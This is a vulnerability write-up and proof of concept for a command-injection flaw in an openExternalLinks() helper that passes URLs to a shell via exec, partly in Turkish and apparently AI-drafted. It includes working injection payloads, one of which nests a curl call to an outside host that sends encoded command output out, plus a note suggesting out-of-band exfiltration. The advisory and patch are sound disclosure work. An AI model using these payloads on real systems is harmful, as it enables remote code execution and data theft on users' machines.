
Write-up and proof-of-concept for CVE-2026-115904, an OS command injection in openExternalLinks() via child_process.exec, with root-cause analysis, payloads, and mitigation.
openExternalLinks() in utils.js| CVE ID | CVE-2026-115904 |
| Vulnerability Class | OS Command Injection (CWE-78) |
| Affected Component | utils.js → openExternalLinks(url) |
| Affected Platform | Linux (process.platform === "linux" branch) |
| Attack Vector | child_process.exec call triggered via user interaction (link click) |
| CVSS 3.1 Score | 9.6 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (verified against the official CVE record) |
| Status | Patched (v2026.9.2410) |
| Discovery Date | September 23, 2026 |
| Vendor Notification Date / CVE Request | September 25, 2026 |
| Patch Date | September 25, 2026 (v2026.9.2410) |
| Public Disclosure Date | October 28, 2026 (CVE/GHSA publication date) |
Note: The official
dateReservedfield of the CVE record appears as October 23, 2026 — this corresponds to roughly one month after your request date of September 25. This discrepancy may be due to processing time on the CNA (GitHub) side; if you wish, I can also add this note to the timeline.
The openExternalLinks() function in utils.js executes the xdg-open command with child_process.exec() to open an external URL on the Linux platform. The function injects the url value coming from the user/application flow directly into the command line within double quotes, without subjecting it to any shell-safe escaping process. Since the exec() command is executed through a shell (/bin/sh -c), $(...) (command substitution) expressions placed within the URL are interpreted by the shell, allowing arbitrary command execution (RCE).
As a result, any flow within the application that produces a user-clickable/triggerable external link (e.g., messaging, link preview, notifications, email client, etc.) can be turned into operating system command execution via an attacker-controlled URL.
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | None |
| User Interaction (UI) | Required |
| Scope (S) | Changed |
| Confidentiality (C) | High |
| Integrity (I) | High |
| Availability (A) | High |
| Base Score | 9.6 (Critical) |
const openExternalLinks = (url) => {
if (process.platform === "linux") {
const newUrl = new URL(url);
require("child_process").exec(`xdg-open "${newUrl}"`);
} else {
shell.openExternal(url).catch(err => {
let safeUrl = url;
try {
const parsed = new URL(url);
safeUrl = parsed.hostname || url.substring(0, 30) + '...';
} catch(e) {}
const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);
customErr.code = err.code;
throw customErr;
});
}
};
new URL(url) call only verifies whether the URL is syntactically valid; it does not perform any shell meta-character filtering.newUrl value (that is, the toString() output of the URL object) is embedded directly into a command as xdg-open "${newUrl}" inside a template string.child_process.exec() executes the given command inside a shell (/bin/sh -c "..."). Double quotes ("...") do not neutralize all meta-characters in the shell: they prevent whitespace and glob (*) expansion, but command substitution (`cmd` ve $(cmd)) remains active even inside double quotes.url parameter, the command inside the parentheses is executed by the shell before xdg-open runs.Correct/safe approach: use
child_process.execFile("xdg-open", [url])—execFilepasses arguments directly to the process without going through a shell, completely eliminating this class of injection. Alternatively, ifchild_process.execis to be used, strict escaping with a library such asshell-quoteshould be added, along with an allow-list check that restricts the URL scheme to onlyhttp(s).
$(...) block inside the URL before xdg-open is called.~/.bashrc, crontab, autostart files), opening a reverse shell, etc.http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))
Note: Node's WHATWG URL class automatically percent-encodes characters such as spaces, >, <, {, } in the path (%20 etc.), but since $, (, ), |, ; are not encoded, command substitution is not prevented. In payloads that require spaces, the classic $IFS technique is used (parenthesis-free $IFS; it is the shell's word-split separator variable and automatically terminates when it encounters a non-identifier character).
A direct, harmless PoC trigger (for out-of-band proof):
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
utils.js file in a Linux environment.openExternalLinks() function (e.g., clicking a link in a message/notification).poc.js):
http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
/tmp/cve-2026-115904-poc.txt is created and that it contains the output of the command id.Verified output (this PoC has been tested in this environment):
[+] BAŞARILI: Command injection doğrulandı!
[+] /tmp/cve-2026-115904-poc.txt içeriği:
uid=0(root) gid=0(root) groups=0(root)
xdg-open'ın kendisinin başarısız olması (tarayıcı/handler bulunamadığı için)
önemli değildir — command substitution zaten xdg-open çağrılmadan önce,
shell komut satırını ayrıştırırken tetiklenir.
5. Komut çalıştırma doğrulandıktan sonra, isteğe bağlı olarak kontrollü bir dinleyici (listener) ile out-of-band veri sızdırma (örn. curl ile kendi sunucunuza istek) de gösterilebilir.
Bkz. poc.js — zafiyetli fonksiyonun izole, kontrollü bir kopyasını çalıştırarak enjeksiyonu yerel ortamda güvenli şekilde kanıtlar (yalnızca zararsız id/touch gibi komutlarla, dışarıya istek atmadan).
const { execFile } = require("child_process");
const openExternalLinks = (url) => {
const parsed = new URL(url); // throws on invalid URL
if (!["http:", "https:"].includes(parsed.protocol)) {
throw new Error("Desteklenmeyen URL şeması");
}
if (process.platform === "linux") {
execFile("xdg-open", [parsed.toString()], (err) => {
if (err) {
// hata yönetimi
}
});
} else {
shell.openExternal(url).catch(err => { /* ... mevcut hata yönetimi ... */ });
}
};
execFile instead of exec, the argument is completely prevented from passing through the shell.http/https schemes (this also prevents abuse of schemes such as file:, javascript:, etc.).